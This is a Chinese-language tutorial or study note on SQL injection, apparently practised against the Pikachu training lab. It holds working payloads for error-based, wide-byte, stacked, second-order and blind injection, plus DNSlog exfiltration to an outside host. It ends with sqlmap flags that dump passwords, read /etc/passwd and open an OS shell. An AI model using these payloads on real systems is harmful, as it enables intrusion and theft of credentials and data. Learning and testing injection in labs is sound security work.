Skip to content

SQL 注入攻击

基础语法

use pikachu; # 使用数据库
desc member; # 查看所有字段
select id,username,email from member; # 查找列
select id,username,email from member limit 0,2; # 从第0条开始显示2条
# 联合查询,查询的列数必须相同
select id,email from member union select username,password from users; 
#-- 是注释符号,-- 注释后面必须有空格

简单测试

引号测试:数据后面加 ' 测试,报错则存在 SQL 注入,在数据后面加 ",不报错但是返回空结果,说明查询语句中字符串用了单引号,反过来说明查询语句中用了双引号
or 1=1 查询到表中所有数据
and 1=1 有数据,and 1=2 没有数据,如果存在参数化查询,那么加上 and 1=1 以后就不应该查到数据
只有字符串格式才需要在测试的时候补全引号,数值型不需要
union select 联合查询

分类

数据类型分类

主要有数字型、字符型、搜索型、xx 型
搜索型

select id,email from member where username like '%vin'; # 模糊查询以 vin 结尾的数据
select id,email from member where username like 'vin%'; # 以 vin 开头的数据
# % 是通配符,要配合 like 使用
可以考虑注入时把后面的 % 一同注释掉
xx 型
语句为 select id,email from member where username=('$name');
该类型要注意补全括号 ') or 1=1#
JSON 类型注入
请求头中规定的 Content-Type: application/x-www-form-urlencoded 是浏览器默认传输数据的格式:键1=值1&键2=值2,JSON 格式对应的 Content-Typeapplication/json
使用 JSON 时,服务端取数据语法改变:$id = $_POST['json']['id']
在 Javascript 中内置了 JSON 的转换方法 JSON.stringify() JSON 序列化生成 JSON 字符串,JSON.parse() JSON 反序列化

JSON 格式:
- 数据在键值对中,也称为属性名和属性值
- 数据用逗号分隔,最后一个值最后没有逗号
- 大括号保存对象(字典)
- 中括号保存数组(列表)

JSON 类型:
- 数字(整数和浮点数)不用双引号,但是键名必须在双引号中
- 字符串(在双引号中,不能用单引号)
- 逻辑值有 truefalse
- 数组(在中括号中)
- 对象(在大括号中):JSON 对象在大括号中书写
- null{ "runoob": null }

在属性值后面加注入语句进行测试
POST 传参时必须有 Content-Type

提交方式分类

主要分 GET POST COOKIE 三类
COOKIE 注入
没有回显可以使用报错注入 ' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #

HTTP Header 注入

有时 User-Agent 会被保存,可以使用报错注入,更改 User-Agentpayload Mozilla' or updatexml(1,concat(0x7e,database()),0) or '
PHP 请求头数据使用 $_SERVER['请求头键名'],例如 $_SERVER['HTTP_USER_AGENT']

报错注入

MYSQL 变量和函数
MYSQL 变量:

mysql> show global variables; # 查看所有变量
mysql> select @@变量名; # 查看变量
mysql> select @@version;
mysql> select @@version_compile_os;
MYSQL 内置函数:
select user();
select database();
select version();
常用报错函数
select floor(1.1); # 取整数部分
UPDATEXML(XML_document,Xpath_string,new_value);
内容替换函数,主要针对 xml 数据,第一个参数时 xml 文档对象的名称,第二个为 Xpath 的语法,第三个参数替换查找到符合条件的数据,通过替换第二个参数为非 Xpath 语法通过报错信息获得第二个参数的值,但是例如直接替换为 user() 等函数会显示不全,这时需要使用 concat(s1,s2,...) 拼接字符串函数拼接其他字符和 (user()),就能输出完整的用户名
EXTRACTVALUE(XML_document,XPath_string),查询 xml 对象中 XPath 语法对应的数据,报错原理同理
常用语句
数据库版本信息:aaa' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)# 其中 0x7e 对应 ~,如果写文字还需要双引号,容易引起冲突
当前用户:aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
数据库名:aaa' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
表名(MYSQL 5.1 以上版本):aaa' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'),0x7e),1)# table_schema 存放数据库名,如果限制只能输出一行,可以采用 limit 一行一行显示,如 aaa' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1),0x7e),1)#,从第 0 行开始显示,显示 1 行
字段名:aaa' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 0,1),0x7e),1)#,如果要更加精确还可以加上 and table_schema='pikachu' 的限制条件
字段内容:aaa' and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)#

语句分类

同理可以尝试在使用了 update insert delete 语句的位置使用报错注入

宽字节注入

GBK 编码 一个中文字符两个字节
UTF-8 编码 可变长度的编码方式,一个中文字符三个字节
URL 编码
对于 ASCII 字符,百分号加十六进制数,对于非 ASCII 字符,需要使用扩充字符集对每个字节执行百分号编码,通常是 UTF-8
很多网站,尤其是 PHP 网站,经常使用引号转义的手段,例如全局开启 GPC,在 php.ini 文件设置 magic_quotes_gpc=On,或者使用一些转移函数,如 addslashes()mysql_real_escape_string(),它们转义单引号、双引号、反斜线和空字符,就是在这些符号前面加上反斜杠,绕过这种防御机制可以使用宽字节注入,例如 GBK 编码对应 0xdf0x5c0x5c 对应 \,输入时在单引号前添加 0xdf,程序又添加了 0x5c,结合 GBK 编码,就转化出 字,反斜杠失去转义作用,应用时在 URL 的单引号前添加 %df 即可,UTF-8 编码同理,但是找不到符合条件的最后一个字节为 0x5c 的组合,因此宽字节注入仅限 GBK 编码

偏移量注入

select 1,2,3; # 会输出表头为 1,2,3,内容也为 1,2,3 的三列
# 联合查询如果列数不一致,可以使用数字补齐
# 但是只能控制 union select 之后的内容,注入时要确保联合查询的字段数少于前面查询的字段数
select * from member union select *,1,2,3 from users;
# 直接在 mysql 客户端中输入时注意 * 必须在数字之前,但是使用代码可以处于其他位置,如果代码中全部查询,但是只展示了中间几列数据,就应该不断尝试调整 * 的位置令数据展示
# 用于知道表名,但是不知道列名

加密注入

前端提交的数据有时经过了编码加密,后端解密后执行操作,此时应该把注入语句一同加密传输

堆叠注入

多条 SQL 语句一起执行

select * from users;insert into xssblind values(null,'2023','content','test');
desc xssblind; # 查看表结构
PHP 中 mysqli_multi_query()mysql_multi_query() 两个函数支持堆叠注入,Sql Server 支持,Oracle 不支持

二次注入

第一次在数据库插入数据,其中的特殊字符经过了转义处理,语句无法执行,但是写入数据库时保留了不含转义符号的原数据,第二次引用恶意数据,查询时由于开发人员默认数据库数据安全,可能直接取出恶意数据拼接 SQL 语句
例如创建用户名 admin'# 的用户,然后更改密码,由于拼接语句时校验不严密,导致 admin 密码被修改

中转注入

中转参数,再发到指定网址,可以对请求携带的数据二次加工,主要是方便,不需要每次都手动编码

伪静态注入

伪静态页面,就是看似静态,实则动态,例如后缀为 .html 但是可以数据交互,可以认为伪静态页面就是把参数藏在文件名里,请求时实际上作为动态文件的参数返回内容,注入时只要把 payload 写到文件名里即可

盲注

无回显的页面可以使用盲注手段,比如没有报错,注入后页面没有变化,分两种,第一种可能是服务器过滤了注入,第二种可能服务器没有过滤注入,只是对查询结果加工,例如服务器对响应数据进行加工,只显示一条
布尔型盲注

select substr("string",1,2); # 从 "string" 的第一个字符开始,取两个字符
select ascii('A'); # 返回 A 对应的 ASCII 值
select ascii(substr(database(),1,1)); # 返回 112
select ascii(substr(database(),1,1)) > 110; # 返回 1,代表 True
select username,email from member where username='vince' and ascii(substr(database(),1,1)) = 112; # 这时有数据返回,如果后面的条件为 False 则无结果返回
# 判断名称长度
select length('string'); # 返回字符串长度
select length(database())=7; # 注入点和查询字符同理
时间型盲注
不论查询结果如何,页面没有变化,这时可以使用时间型盲注
select sleep(3); # 停顿 3 秒钟
select * from users where name='vince' and sleep(3); # 如果有停顿说明存在注入点
select if(1>2,'a','b'); # 为真打印 a,为假打印 b
select if(1>2,sleep(3),'a');
select if(substr(database(),1,1)='p',sleep(3),null);
select username,email from member where username='vince' and if(substr(database(),1,1)='p',sleep(3),null); # 注意,前面仍然需要跟一个为真的条件,否则 and 不会判断第二个条件
select benchmark(10000000,MD5(1)); # benchmark() 重复执行第二个参数 10000000 次,时间会比正常情况长很多

DNSlog 注入

提供 DNSlog 日志记录功能的网站有 http://ceye.io http://www.dnslog.cn/
需要 mysql 用户具备读文件的权限,因为需要借助 load_file() 函数,mysql 配置项开启 secure_file_priv 配置,my.cnf 中添加,还需要 mysql 数据库能够访问外部网络
secure_file_priv=""

select load_file("/var/www/html/1.txt"); # 读取特定文件内容
select load_file("\\\\v54pkn.dnslog.cn"); # 访问特定网址
select load_file(concat("//",database(),".v54pkn.dnslog.cn")); # 同理还可以查询表名等

Sqlmap

python sqlmap.py -r post.txt # post.txt 存放 http 请求,可以适用 post 和 get
--level 3 检测 cookie、user-agent、referer 等位置的注入点
--risk 3 语句更加多样化
-v 0-6 显示信息的详细程度,默认为 1,值越大越详细
-p 参数名 选择测试的参数,例如 -p id
--threads 20 线程数,默认为 10,还可以在 settings.py 调整所有参数的默认值
-u url 适合于 GET 请求
-batch-smart 智能判断测试,自行寻找注入点并获取数据
-mobile 有些站点要求必须手机访问,该参数可以模拟手机访问
-m 1.txt1.txt 中的网址批量注入
--dbs 获取所有数据库
--current-user 大多数数据库可检测到数据库管理系统当前用户
--current-db 当前连接数据库名
--is-dba 判断用户是否为管理员
--users 列出所有用户
--tables 获取表名,后面接 -D 参数指定数据库,不加则是所有数据库
--columns -T table_name -D database_name 获取字段名
--dump -T table_name -C username,password,email 获取数据
--file-read /etc/passwd 读取服务器文件
--os-shell 系统交互 Shell